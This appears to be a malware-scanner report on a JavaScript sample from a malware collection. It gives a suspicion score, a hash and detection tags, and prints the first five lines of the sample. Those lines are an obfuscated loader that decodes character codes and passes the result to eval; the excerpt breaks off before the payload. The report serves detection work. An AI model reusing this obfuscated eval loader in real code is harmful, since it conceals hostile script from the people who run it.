Suspicious ^80% javascript-malware-collection Download

20151208_2eabf754f7cd081b0b8427610e10b9e3.js

obfuscated eval and string decoding

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256e64b67e2aa29dc45f5f2a77cfd3ee7f21329619b0b6d3e6a6dc06cd33c48cd9b

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var uaBtnVfMEYoyH=[];for(BGMwLBz=(-126+126)/508;BGMwLBz<(63566+690)/502;BGMwLBz++){uaBtnVfMEYoyH[BGMwLBz]=String.fromCharCode(BGMwLBz)}function iqiJJ(MSPEJLqfdIH,XCPGwhkvVKZAj,iPYkJJLl){OVSe=parseInt(MSPEJLqfdIH,XCPGwhkvVKZAj);vruZG=OVSe.toString(iPYkJJLl);return vruZG;}function SZAIiSFDiaeTFLx(DSlFaOsqCZGIuuUOy){eval(DSlFaOsqCZGIuuUOy)}
2function KasnWwvuXMWPMibJTRvayTvpTgtzqMonNDSelRRBYoMgHOdNDNNCdm(JZBhKoCsvlrTP,QbpaajQIwbChem){ return uaBtnVfMEYoyH[iqiJJ(JZBhKoCsvlrTP[QbpaajQIwbChem],(7063+737)/780,(9139+571)/971)];}
3function leWExSF(LKLzAJhsIYXnbTLWajAmnHBhhuyVcDldVsTg) {return !isNaN(parseFloat(LKLzAJhsIYXnbTLWajAmnHBhhuyVcDldVsTg)) && isFinite(LKLzAJhsIYXnbTLWajAmnHBhhuyVcDldVsTg);}
4function NsUdxfqFYms(XqbwaaMW,LjSHAp){return XqbwaaMW.split(LjSHAp)}
5var F=[];F.push("13");F.push("10");F.push("13");F.push("10");F.push("118");F.push("97");F.push("114");F.push("32");F. …